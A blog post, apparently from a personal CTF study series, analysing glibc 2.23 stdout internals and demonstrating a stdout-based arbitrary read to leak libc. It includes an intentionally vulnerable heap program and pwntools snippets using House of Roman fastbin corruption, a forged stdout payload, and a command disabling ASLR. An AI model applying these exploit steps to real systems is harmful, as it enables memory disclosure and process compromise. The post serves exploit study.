【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读

news2025/1/1 14:41:55

上一篇文章学会了stdin任意地址写【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客

本篇关注stdout利用手法,和上篇提及的手法有着异曲同工之妙

文章目录

前言

一、_IO_2_1_stdout_输出链,及利用思路

(一)_IO_2_1_stdout_相关结构体与变量

(二)关键函数_IO_new_file_xsputn分析

1、大于缓冲区的输出直接系统调用

2、缓冲区留有空间未满

3、 填充剩余缓冲区

4、需要刷新缓冲区(缓冲区已满 或 must_flush)

(三)关键函数_IO_new_file_overflow分析 

1、_IO_OVERFLOW

2、_IO_NO_WRITES不能置位 

3、_IO_CURRENTLY_PUTTING置位,避免进入分支

4、刷新缓冲区

(四)关键函数new_do_write函数分析 

(五)总结相关条件

二、利用图示

三、从一道题学习stdout任意地址读(leak libc)

(一)pwn.c

(二)分析与利用

1、House of Roman

2、修改_IO_2_1_stdout_结构体相关指针 

3、开启ASLR验证


前言

延续上一篇的故事

我们知道,利用缓冲区,是为了避免进行频繁系统调用耗费资源。

对于stdin来说:

这就类似于从海上进货,不可能每次需要多少就让多少船承载多少来;而是尽量装的满满的,虽然你只需要一点,但是多的我可以存在码头仓库,你需要更多直接在仓库拿就好;仓库用完了,再让船满载进货... ...

对于stdout来说:

类似于从海上发货,不可能每次生产出来一件商品,就让一艘渡轮送出去,这太亏了;因此我们选择在海边码头先屯着,尽可能屯多,或者估计着用户需要期限之前,将囤积的商品一并发出。

这里的“海边码头”就是输出缓冲区,对应_IO_2_1_stdout_结构体中_IO_write_*相关指针。 


一、_IO_2_1_stdout_输出链,及利用思路

我们假定能劫持相关指针,实现利用手法。接下来我们看看调用链,有哪些限制是需要注意的。

相关代码的版本为glibc2.23

(一)_IO_2_1_stdout_相关结构体与变量

// libio.h
struct _IO_FILE_plus;

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
-----------------------------------------------------------------------------
// stdfiles.c
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
       &_IO_file_jumps};

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
-----------------------------------------------------------------------------
// fileops.c
const struct _IO_jump_t _IO_file_jumps =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

# define _IO_new_file_xsputn _IO_file_xsputn

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
	{
	  const char *p;
	  for (p = s + n; p > s; )
	    {
	      if (*--p == '\n')
		{
		  count = p - s + 1;
		  must_flush = 1;
		  break;
		}
	    }
	}
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
	count = to_do;
#ifdef _LIBC
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
      memcpy (f->_IO_write_ptr, s, count);
      f->_IO_write_ptr += count;
#endif
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
	/* If nothing else has to be written we must not signal the
	   caller that everything has been written.  */
	return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

      if (do_write)
	{
	  count = new_do_write (f, s, do_write);
	  to_do -= count;
	  if (count < do_write)
	    return n - to_do;
	}

      /* Now write out the remainder.  Normally, this will fit in the
	 buffer, but it's somewhat messier for line-buffered files,
	 so we let _IO_default_xsputn handle the general case. */
      if (to_do)
	to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

(二)关键函数_IO_new_file_xsputn分析

1、大于缓冲区的输出直接系统调用

  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */
  /* 这是一个优化的实现。如果要写入的数量跨越块边界(或者文件没有缓冲),则直接使用sys write */

注意我们劫持_IO_write_*相关指针,实际上就是劫持输出缓冲区,因此不能够走直接通过系统调用输出的这条优化分支。 

2、缓冲区留有空间未满

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))  // 行输出或者当前流正在写入
  {
    count = f->_IO_buf_end - f->_IO_write_ptr;
    if (count >= n)  // 剩余缓冲区空间足够大
    {
      const char *p;
      for (p = s + n; p > s;) //从末尾向前找换行符,来确定要输出的部分
      {
        if (*--p == '\n')
        {
          count = p - s + 1;
          must_flush = 1; // 需要进行刷新
          break;
        }
      }
    }
  }
  else if (f->_IO_write_end > f->_IO_write_ptr) // 不是行缓冲或者没有进行写操作,直接计算缓冲区剩余空间大小
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

这里缓冲区仍有空闲时,会计算空闲长度,以备填充。如果设置了行缓冲区模式或者流正在写入标识,则会检索换行符,对长度做修正,并依据检索结果设置是否需要立即刷新。

3、 填充剩余缓冲区

  /* Then fill the buffer. */
  if (count > 0) // 缓冲区还有空间
  {
    if (count > to_do) // 剩余空间大于需要输出的长度
      count = to_do;   // 只需要用到输出长度大小的空间
#ifdef _LIBC
    f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);
#else
    memcpy(f->_IO_write_ptr, s, count); // (部分或全部)数据放到缓冲区空闲区域
    f->_IO_write_ptr += count;
#endif
    s += count;
    to_do -= count;
  }

如果缓冲区剩余空间足够大,大于所需剩余输出长度,则将剩余数据全部复制到缓冲区;否则填满缓冲区。

4、需要刷新缓冲区(缓冲区已满 或 must_flush)

  if (to_do + must_flush > 0) // to_do 和 must_flush 实际上都>=0;这里的含义是,只要“必须刷新”,或者“缓冲区已满”,则进行刷新
  {
    _IO_size_t block_size, do_write;
    /* Next flush the (full) buffer. */
    if (_IO_OVERFLOW(f, EOF) == EOF) 
      /* If nothing else has to be written we must not signal the
         caller that everything has been written.  */
      return to_do == 0 ? EOF : n - to_do; // 都输出了,或者仍有 n-to_do 需要输出

    /* Try to maintain alignment: write a whole number of blocks.  */
    block_size = f->_IO_buf_end - f->_IO_buf_base;
    do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

    if (do_write)
    {
      count = new_do_write(f, s, do_write);
      to_do -= count;
      if (count < do_write)
        return n - to_do;
    }

    /* Now write out the remainder.  Normally, this will fit in the
 buffer, but it's somewhat messier for line-buffered files,
 so we let _IO_default_xsputn handle the general case. */
    if (to_do)
      to_do -= _IO_default_xsputn(f, s + do_write, to_do);
  }
  return n - to_do;

可以看到,在此之前只有“目标数据”到“缓冲区”的复制,没有真正进行输出,输出就是在此处,刷新缓冲区中实现的。接下来我们将程序执行流交给_IO_OVERFLOW这个宏、 new_do_write这个函数。

(三)关键函数_IO_new_file_overflow分析 

1、_IO_OVERFLOW

// libioP.h
/* The 'overflow' hook flushes the buffer.
   The second argument is a character, or EOF.
   It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (_IO_FILE *, int);
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
------------------------------------------------------------------
// fileops.c
#define _IO_new_file_overflow _IO_file_overflow
------------------------------------------------------------------

可以看到,对标准输出来说,_IO_OVERFLOW这个宏对应的就是_IO_new_file_overflow这个函数

2、_IO_NO_WRITES不能置位 

  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ 
// _IO_NO_WRITES标识“不可写”,因此调用overflow属于error
  {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno(EBADF);
    return EOF;
  }

3、_IO_CURRENTLY_PUTTING置位,避免进入分支

  /* If currently reading or no buffer allocated. */
  // 如果正在读入,或者buffer还未分配
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
  {
    /* Allocate a buffer if needed. */
    // 分配缓冲区
    if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf(f);
      _IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
    /* Otherwise must be currently reading.
 If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
 logically slide the buffer forwards one block (by setting the
 read pointers to all point at the beginning of the block).  This
 makes room for subsequent output.
 Otherwise, set the read pointers to _IO_read_end (leaving that
 alone, so it can continue to correspond to the external position). */
    if (__glibc_unlikely(_IO_in_backup(f)))
    {
      size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
      _IO_free_backup_area(f);
      f->_IO_read_base -= MIN(nbackup,
                              f->_IO_read_base - f->_IO_buf_base);
      f->_IO_read_ptr = f->_IO_read_base;
    }

    if (f->_IO_read_ptr == f->_IO_buf_end)
      f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
    f->_IO_write_ptr = f->_IO_read_ptr;
    f->_IO_write_base = f->_IO_write_ptr;
    f->_IO_write_end = f->_IO_buf_end;
    f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

    f->_flags |= _IO_CURRENTLY_PUTTING;
    if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
      f->_IO_write_end = f->_IO_write_ptr;
  }

可以看到里面对_IO_write_*相关指针进行了赋值,这不是我们希望的,因为我们目标就是控制这些指针,而此时被修改成其他数值。因此我们将flag的_IO_CURRENTLY_PUTTING进行置位,即可越过这个分支。

4、刷新缓冲区

  if (ch == EOF) // 写入字符ch == EOF,表示要刷新缓冲区
  // 将缓冲区的内容写到目标文件
    return _IO_do_write(f, f->_IO_write_base,
                        f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end) /* Buffer is really full */ //缓冲区已满,肯定要刷新
    if (_IO_do_flush(f) == EOF) // 刷新缓冲区,如果失败,返回EOF
      return EOF;
  *f->_IO_write_ptr++ = ch; //写入字符到缓冲区
  if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) //如果文件流是无缓冲或者行缓冲且要写入换行,则立即刷新缓冲区
    if (_IO_do_write(f, f->_IO_write_base,
                     f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char)ch;

调用_IO_do_write函数,实际调用new_do_write函数

(四)关键函数new_do_write函数分析 

// fileops.c
#define _IO_new_do_write _IO_do_write

int _IO_new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0 || (_IO_size_t)new_do_write(fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver(_IO_new_do_write, _IO_do_write)

    static _IO_size_t
    new_do_write(_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
  {
    _IO_off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
    if (new_pos == _IO_pos_BAD)
      return 0;
    fp->_offset = new_pos;
  }
  count = _IO_SYSWRITE(fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;
  _IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
                           ? fp->_IO_buf_base
                           : fp->_IO_buf_end);
  return count;
}

因为我们已经劫持了_IO_write_*相关指针,因此在这里我们希望直接进行_IO_SYSWRITE操作。为此,简单将flag的_IO_IS_APPENDING置位,就可以跳出if-else if,避免进入else if中的_IO_SYSSEEK调用造成未知的不好影响。

至此,我们到达了通过_IO_SYSWRITE系统调用,输出劫持的_IO_write_base到_IO_write_ptr的内容,实现了任意地址读。

(五)总结相关条件

在_IO_write_*相关指针可控的条件下,还需要满足:

  1. 设置 _f lag &~ _IO_NO_WRITES ,即 设置 _f _flag &~ 0x8。
  2. 设置 flag & _IO_CURRENTLY_PUTTING ,即 _flag | 0x800
  3. 设置 _ fileno 为1。
  4. 设置 _IO_write_base 指向想要泄露的地方; _IO_write_ptr 指向泄露结束的地址。
  5. 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING, 即 _flag | 0x1000。
  6. 设置 _IO_write_end 等于 _flag & _IO_write_ptr (非必须)。 

满足上述条件,可实现任意读。 

二、利用图示

劫持 _IO_write_base 和 _IO_write_ptr 分别指向要泄露区域的开始和结尾,并绕过、满足诸多判断条件。

然后就可以将data1打印出来。

三、从一道题学习stdout任意地址读(leak libc)

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

 (二)分析与利用

还是用这个漏洞利用学习的模板代码,着重研究不用show的leak libc。思路如下:

1.House of Roman将_IO_2_1_stdout_ malloc出来

2.更改_IO_2_1_stdout_结构体以leak libc

1、House of Roman

也算是回顾一下这种利用手法

首先关闭随机化

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

选择fake_chunk的位置 

然后House of Roman:

  1. 申请0x70、0xa0、0x70个大小的chunk
  2. 释放0xa0的chunk
  3. 申请合适大小chunk切割剩余0x70大小的chunk
  4. 申请被切割剩余的chunk,合法更改数据,指向fake_chunk
  5. UAF+off-by-one更改指针,构造fastbin链尾指向fake_chunk
add(0,0x68)
add(1,0x98)
add(2,0x68)

delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))

delete(0)
delete(2)
edit(2,b'\xa0')

申请出fake_chunk,然后对_IO_2_stdout_进行修改 

2、修改_IO_2_1_stdout_结构体相关指针 

payload=b'\x00'*(0xc620-0xc5ed)
payload+=p64(0xfbad1800)
payload+=p64(0)*3   #read ptr\end\base
payload+=p8(0x00)   #write base-low-byte
edit(6,payload)

调试一下,把libc承接下来

io.recvn(0x40+1)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))

3、开启ASLR验证

成功在不show的情况下泄露libc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2267596.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一网多平面

“一网多平面”是一种网络架构概念&#xff0c;具体指的是在一张物理网络之上&#xff0c;逻辑划分出“1N”个平面。以下是对“一网多平面”的详细解释&#xff1a; 定义与构成 01一网多平面 指的是在统一的物理网络基础设施上&#xff0c;通过逻辑划分形成多个独立的网络平面…

设计模式之状态模式:自动售货机的喜怒哀乐

~犬&#x1f4f0;余~ “我欲贱而贵&#xff0c;愚而智&#xff0c;贫而富&#xff0c;可乎&#xff1f; 曰&#xff1a;其唯学乎” 一、状态模式概述 \quad 在我们的日常生活中&#xff0c;很多事物都具有不同的状态。比如我们经常使用的自动售货机&#xff0c;它就具有多种状态…

信息系统管理工程第8章思维导图

软考信管第8章的思维导图也实在是太长了&#xff0c;制作的耗时远超过之前的预计。给你看看思维导图的全貌如下&#xff0c;看看你能够在手机上滚动多少个屏幕 当你看到这段文字的时候&#xff0c;证明你把思维导图从上到下看完了&#xff0c;的确很长吧&#xff0c;第8章的教程…

Excel无法插入新单元格怎么办?有解决方法吗?

在使用Excel时&#xff0c;有时会遇到无法插入新单元格的困扰。这可能是由于多种原因导致的&#xff0c;比如单元格被保护、冻结窗格、合并单元格等。本文将详细介绍3种可能的解决方案&#xff0c;帮助你顺利插入新单元格。 一、消冻结窗格 冻结窗格功能有助于在滚动工作表时保…

深度学习笔记(12)——深度学习概论

深度学习概论 深度学习关系&#xff1a; 为什么机器人有一部分不在人工智能里面&#xff1a;机器人技术是一个跨学科的领域&#xff0c;它结合了机械工程、电子工程、计算机科学以及人工智能&#xff08;AI&#xff09;等多个领域的知识。 并不是所有的机器人都依赖于人工智能…

HEIC 是什么图片格式?如何把 iPhone 中的 HEIC 转为 JPG?

在 iPhone 拍摄照片时&#xff0c;默认的图片格式为 HEIC。虽然 HEIC 格式具有高压缩比、高画质等优点&#xff0c;但在某些设备或软件上可能存在兼容性问题。因此&#xff0c;将 HEIC 格式转换为更为通用的 JPG 格式就显得很有必要。本教程将介绍如何使用简鹿格式工厂&#xf…

flask后端开发(11):User模型创建+注册页面模板渲染

目录 一、数据库创建和配置信息1.新建数据库2.数据库配置信息3.User表4.ORM迁移 二、注册页面模板渲染1.导入静态文件2.蓝图注册路由 一、数据库创建和配置信息 1.新建数据库 终端中 CREATE DATABASE zhiliaooa DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;2…

【Next.js】001-项目初始化

【Next.js】001-项目初始化 文章目录 【Next.js】001-项目初始化一、前言二、自动创建项目1、环境要求2、创建项目创建命令创建演示生成的项目目录如果你不使用 npx 命令 3、运行项目脚本说明在开发环境运行项目查看页面 4、示例代码说明创建项目查看示例项目创建项目命令创建过…

系统安全——可信计算

可信计算 可信计算的起源 上世纪八十年代&#xff0c;TCSEC标准将系统中所有安全机制的总和定义为可信计算基 &#xff08;Trusted Computing Base TCB) TCB的要求是&#xff1a; 独立的&#xff08;independent&#xff09; 具有抗篡改性 tempering proof 不可旁路(无法窃…

Python学生管理系统(MySQL)

上篇文章介绍的Python学生管理系统GUI有不少同学觉得不错来找博主要源码&#xff0c;也有同学提到老师要增加数据库管理数据的功能&#xff0c;本篇文章就来介绍下python操作数据库&#xff0c;同时也对上次分享的学生管理系统进行了改进了&#xff0c;增加了数据库&#xff0c…

【Sentinel】流控效果与热点参数限流

目录 1.流控效果 1.1.warm up 2.2.排队等待 1.3.总结 2.热点参数限流 2.1.全局参数限流 2.2.热点参数限流 2.3.案例 1.流控效果 在流控的高级选项中&#xff0c;还有一个流控效果选项&#xff1a; 流控效果是指请求达到流控阈值时应该采取的措施&#xff0c;包括三种&…

《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》学习笔记——HarmonyOS技术理念

1.2 技术理念 在万物智联时代重要机遇期&#xff0c;HarmonyOS结合移动生态发展的趋势&#xff0c;提出了三大技术理念&#xff08;如下图3-1所示&#xff09;&#xff1a;一次开发&#xff0c;多端部署&#xff1b;可分可合&#xff0c;自由流转&#xff1b;统一生态&#xf…

计算机组成——Cache

目录 为什么引入高速缓存&#xff1f; 数据查找方案&#xff1a; 命中率与缺失率 Cache和主存的映射方式 1.全相联映射 经典考法 覆盖问题 访存 2.组相联映射 3.直接映射&#xff08;和组相联类似&#xff09; 覆盖问题 替换算法 1.随机算法&#xff08;RAND&…

OpenCV和PyQt的应用

1.创建一个 PyQt 应用程序&#xff0c;该应用程序能够&#xff1a; 使用 OpenCV 加载一张图像。在 PyQt 的窗口中显示这张图像。提供四个按钮&#xff08;QPushButton&#xff09;&#xff1a; 一个用于将图像转换为灰度图一个用于将图像恢复为原始彩色图一个用于将图像进行翻…

基于Spring Boot的宠物领养系统的设计与实现(代码+数据库+LW)

摘 要 如今社会上各行各业&#xff0c;都在用属于自己专用的软件来进行工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。互联网的发展&#xff0c;离不开一些新的技术&#xff0c;而新技术的产生往往是为了解决现有问题而产生的。针对于宠物领…

uniapp 判断多选、选中取消选中的逻辑处理

一、效果展示 二、代码 1.父组件: :id=“this.id” : 给子组件传递参数【id】 @callParentMethod=“takeIndexFun” :给子组件传递方法,这样可以在子组件直接调用父组件的方法 <view @click="$refs.member.open()"

百度热力图数据日期如何选择

目录 1、看日历2、看天气 根据研究内容定&#xff0c;一般如果研究城市活力的话&#xff0c;通常会写“非重大节假日&#xff0c;非重大活动&#xff0c;非极端天气等”。南方晴天不多&#xff0c;有小雨或者中雨都可认为没有影响&#xff0c;要不然在南方很难找到完全一周没有…

【深入理解SpringCloud微服务】Sentinel源码解析——FlowSlot流控规则

Sentinel源码解析——FlowSlot流控规则 StatisticNode与StatisticSlotStatisticNode内部结构StatisticSlot FlowSlot流控规则 在前面的文章&#xff0c;我们对Sentinel的原理进行了分析&#xff0c;Sentinel底层使用了责任链模式&#xff0c;这个责任链就是ProcessorSlotChain对…

【机器学习(九)】分类和回归任务-多层感知机(Multilayer Perceptron,MLP)算法-Sentosa_DSML社区版 (1)11

文章目录 一、算法概念11二、算法原理&#xff08;一&#xff09;感知机&#xff08;二&#xff09;多层感知机1、隐藏层2、激活函数sigma函数tanh函数ReLU函数 3、反向传播算法 三、算法优缺点&#xff08;一&#xff09;优点&#xff08;二&#xff09;缺点 四、MLP分类任务实…

R基于贝叶斯加法回归树BART、MCMC的DLNM分布滞后非线性模型分析母婴PM2.5暴露与出生体重数据及GAM模型对比、关键窗口识别

全文链接&#xff1a;https://tecdat.cn/?p38667 摘要&#xff1a;在母婴暴露于空气污染对儿童健康影响的研究中&#xff0c;常需对孕期暴露情况与健康结果进行回归分析。分布滞后非线性模型&#xff08;DLNM&#xff09;是一种常用于估计暴露 - 时间 - 响应函数的统计方法&am…